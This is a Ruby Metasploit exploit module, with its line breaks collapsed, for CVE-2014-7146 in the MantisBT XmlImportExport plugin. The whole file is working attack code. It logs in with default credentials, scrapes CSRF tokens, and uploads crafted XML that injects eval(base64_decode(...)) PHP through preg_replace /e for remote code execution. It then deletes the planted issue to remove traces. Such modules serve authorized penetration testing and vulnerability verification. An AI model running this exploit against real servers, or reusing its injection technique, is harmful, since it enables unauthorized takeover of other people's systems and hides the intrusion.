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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability', 'Description'=> %q{ This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Egidio Romano', # discovery http://karmainsecurity.com 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco ], 'References' => [ ['CVE', '2014-7146'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'Nov 8 2014', 'DefaultTarget'=> 0)) register_options( [ OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']), OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']), OptString.new('TARGETURI', [ true, 'Base directory path', '/']) ], self.class) end def check res = exec_php('phpinfo(); die();', true) if res && res.body =~ /This program makes use of the Zend/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Unknown end end def do_login() print_status('Checking access to MantisBT...') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'login_page.php'), 'vars_get' => { 'return'=> normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') } }) fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200 session_cookie = res.get_cookies print_status('Logging in...') res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php'), 'cookie'=> session_cookie, 'vars_post' => { 'return'=> normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), 'username' => datastore['username'], 'password' => datastore['password'], 'secure_session' => 'on' } }) fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/ "#{session_cookie} #{res.get_cookies}" end def upload_xml(payload_b64, rand_text, cookies, is_check) if is_check timeout = 20 else timeout = 3 end rand_num = Rex::Text.rand_text_numeric(1, 9) print_status('Checking XmlImportExport plugin...') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'plugin.php'), 'cookie' => cookies, 'vars_get' => { 'page' => 'XmlImportExport/import' } }) unless res && res.code == 200 print_error('Error trying to access XmlImportExport/import page...') return false end # Retrieving CSRF token if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ csrf_token = Regexp.last_match[1] else print_error('Error trying to read CSRF token') return false end # Retrieving default project id if res.body =~ /name="project_id" value="([0-9]+)"/ project_id = Regexp.last_match[1] else print_error('Error trying to read project id') return false end # Retrieving default category id if res.body =~ /name="defaultcategory">[.|\r|\r\n]*<option value="([0-9])" selected="selected" >\(select\)<\/option><option value="1">\[All Projects\] (.*)<\/option>/ category_id = Regexp.last_match[1] category_name = Regexp.last_match[2] else print_error('Error trying to read default category') return false end # Retrieving default max file size if res.body =~ /name="max_file_size" value="([0-9]+)"/ max_file_size = Regexp.last_match[1] else print_error('Error trying to read default max file size') return false end # Retrieving default step if res.body =~ /name="step" value="([0-9]+)"/ step = Regexp.last_match[1] else print_error('Error trying to read default step value') return false end xml_file = %Q| <mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1"> <issue> <id>#{ rand_num }</id> <project id="#{ project_id }">#{ rand_text }</project> <reporter id="#{ rand_num }">#{ rand_text }</reporter> <priority id="30">normal</priority> <severity id="50">minor</severity> <reproducibility id="70">have not tried</reproducibility> <status id="#{ rand_num }">new</status> <resolution id="#{ rand_num }">open</resolution> <projection id="#{ rand_num }">none</projection> <category id="#{ category_id }">#{ category_name }</category> <date_submitted>1415492267</date_submitted> <last_updated>1415507582</last_updated> <eta id="#{ rand_num }">none</eta> <view_state id="#{ rand_num }">public</view_state> <summary>#{ rand_text }</summary> <due_date>1</due_date> <description>{${eval(base64_decode(#{ payload_b64 }))}}1</description> </issue> </mantis> | data = Rex::MIME::Message.new data.add_part("#{ csrf_token }", nil, nil, "form-data; name=\"plugin_xml_import_action_token\"") data.add_part("#{ project_id }", nil, nil, "form-data; name=\"project_id\"") data.add_part("#{ max_file_size }", nil, nil, "form-data; name=\"max_file_size\"") data.add_part("#{ step }", nil, nil, "form-data; name=\"step\"") data.add_part(xml_file, "text/xml", "UTF-8", "form-data; name=\"file\"; filename=\"#{ rand_text }.xml\"") data.add_part("renumber", nil, nil, "form-data; name=\"strategy\"") data.add_part("link", nil, nil, "form-data; name=\"fallback\"") data.add_part("on", nil, nil, "form-data; name=\"keepcategory\"") data.add_part("#{ category_id }", nil, nil, "form-data; name=\"defaultcategory\"") data_post = data.to_s print_status('Sending payload...') return send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'), 'cookie' => cookies, 'ctype' => "multipart/form-data; boundary=#{ data.bound }", 'data'=> data_post }, timeout) end def exec_php(php_code, is_check = false) # remove comments, line breaks and spaces of php_code payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') # clean b64 payload while Rex::Text.encode_base64(payload_clean) =~ /=/ payload_clean = "#{ payload_clean } " end payload_b64 = Rex::Text.encode_base64(payload_clean) rand_text = Rex::Text.rand_text_alpha(5, 8) cookies = do_login() res_payload = upload_xml(payload_b64, rand_text, cookies, is_check) # When a meterpreter session is active, communication with the application is lost. # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it. cookies = do_login() print_status("Deleting issue (#{ rand_text })...") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'my_view_page.php'), 'cookie' => cookies }) unless res && res.code == 200 print_error('Error trying to access My View page') return false end if res.body =~ /title="\[@[0-9]+@\] #{ rand_text }">0+([0-9]+)<\/a>/ issue_id = Regexp.last_match[1] else print_error('Error trying to retrieve issue id') return false end res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.path, 'bug_actiongroup_page.php'), 'cookie' => cookies, 'vars_get' => { 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.body =~ /name="bug_actiongroup_DELETE_token" value="(.*)"\/>/ csrf_token = Regexp.last_match[1] else print_error('Error trying to retrieve CSRF token') return false end res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri.path, 'bug_actiongroup.php'), 'cookie' => cookies, 'vars_post' => { 'bug_actiongroup_DELETE_token' => csrf_token, 'bug_arr[]' => issue_id, 'action' => 'DELETE', }, }) if res && res.code == 302 || res.body !~ /Issue #{ issue_id } not found/ print_status("Issue number (#{ issue_id }) removed") else print_error("Removing issue number (#{ issue_id }) has failed") return false end # if check return the response if is_check return res_payload else return true end end def exploit unless exec_php(payload.encoded) fail_with(Failure::Unknown, 'Exploit failed, aborting.') end end end |
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